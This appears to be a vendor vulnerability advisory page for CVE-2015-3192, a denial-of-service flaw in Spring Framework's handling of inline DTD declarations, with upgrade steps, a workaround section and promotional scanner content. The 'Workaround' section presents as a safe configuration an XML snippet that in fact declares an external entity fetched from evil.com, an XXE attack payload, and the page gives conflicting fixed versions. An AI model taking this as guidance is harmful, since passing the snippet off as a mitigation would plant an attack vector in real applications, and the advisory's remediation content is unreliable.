Memory Consumption and Out-of-Memory Errors in Pivotal Spring Framework

libspring-java Updated 02 Oct 2025

Summary

12/07/2016
N/A
Yes i
Medium
5.5

CVE-2015-3192: Pivotal Spring Framework before 3.2.14 and 4.x before 4.1.7 do not properly process inline DTD declarations when DTD is not entirely disabled, which allows remote attackers to cause a denial of service (memory consumptio... Affects libspring-java versions < 4.1.9-1. Fixed in 4.1.9-1. How to fix ↓

Free scan

Check if this vulnerability affects your application

Upload a manifest or SBOM and we'll show whether you're affected, plus every other risky package in the same scan.

Check my app free

No signup required · Results in about 60 seconds

Upload your dependency manifest or SBOM

Drag & drop your file here or

Java Javascript PHP Python Go Rust Ruby Dart C/C++ Elixir CycloneDX SPDX

Upload a supported dependency manifest or SBOM. No installation or source-code access required.

See supported files and SBOM formats
SBOM sbom.json · bom.json · bom.xml · *.spdx.json · *.cdx.json · *.cdx.xml
Java pom.xml · gradle.lockfile · buildscript-gradle.lockfile
Javascript package-lock.json · yarn.lock · pnpm-lock.yaml
PHP composer.lock
Python poetry.lock · requirements.txt · Pipfile.lock
Go go.mod
Rust Cargo.lock
Ruby Gemfile.lock
Dart pubspec.lock
C/C++ conan.lock
Elixir mix.lock
Enter your work email to receive your report link.

Verify your email to view the full report and start 30 days of continuous monitoring. No credit card required.

Sponsored Devnack Penetration testing for web, API and mobile Manual testing by engineers who build software, not an auditor's checklist. Trusted by teams at Swift and Google Talk to Devnack

Background

Pivotal Spring Framework is a popular open-source framework used for building Java applications. It provides a comprehensive programming and configuration model for modern Java-based enterprise applications. The framework offers various features and functionalities to simplify the development process and enhance application performance. However, a vulnerability has been identified in versions before 3.2.14 and 4.x before 4.1.7 of the Spring Framework.

Vulnerability Detail

The vulnerability, identified as CVE-2015-3192, stems from the improper processing of inline DTD declarations when the DTD is not entirely disabled. This flaw allows remote attackers to exploit the vulnerability by crafting a malicious XML file. When this file is processed by the Spring Framework, it leads to memory consumption and out-of-memory errors. The impact of this vulnerability can result in denial of service, causing the affected application to become unresponsive or crash.

How To Fix

Minimum fixed version

4.1.9-1

This is the first release that contains the fix.

sudo apt-get install --only-upgrade libspring-java

Tip — Not sure which version your app runs? Vulert can match this fix to it. Scan free →

Workaround

As a workaround, it is advised to disable the processing of inline DTD declarations entirely. This can be achieved by configuring the Spring Framework to use an external entity resolver that disables DTD processing. Here is an example of how to configure the entity resolver in the Spring Framework's XML configuration file:

<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN" "http://www.springframework.org/dtd/spring-beans.dtd" [
  <!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">
  %xxe;
]>

Conclusion

In conclusion, the Pivotal Spring Framework versions before 3.2.14 and 4.x before 4.1.7 are vulnerable to a memory consumption and out-of-memory errors issue. This vulnerability can be exploited by crafting a malicious XML file, leading to denial of service. To mitigate the risk, it is crucial to update the framework to the recommended versions or apply the provided workaround. For further assistance and support in vulnerability remediation, please contact DevNack.com.

See every vulnerability recorded for libspring-java →

Share this vulnerability

FAQ

The vulnerability can lead to memory consumption and out-of-memory errors in the affected application, causing denial of service and potential application crashes.

You can use Vulert's playground (https://vulert.com/scanner) to check if your application is affected by this vulnerability. Vulert analyzes your package-lock.json file and provides real-time alerts for open-source vulnerabilities.

No, only versions before 3.2.14 and 4.x before 4.1.7 are affected. It is recommended to update to the latest version to mitigate the vulnerability.

Yes, a workaround is available by disabling the processing of inline DTD declarations entirely. Refer to the 'workaround' section for more details.

Yes, the CVSS score for this vulnerability is 5.5, indicating a moderate severity level.

Related vulnerabilities

Recent vulnerabilities recorded for libspring-java.

How To Fix

Minimum fixed version

4.1.9-1

This is the first release that contains the fix.

sudo apt-get install --only-upgrade libspring-java

Tip — Not sure which version your app runs? Vulert can match this fix to it. Scan free →

Subscribe to Vulert on Telegram
Daily digest of new CVEs, critical and high severity, affected packages and fixes — plus a weekly roundup.
Join the channel →
Help improve this record
Report an issue or send feedback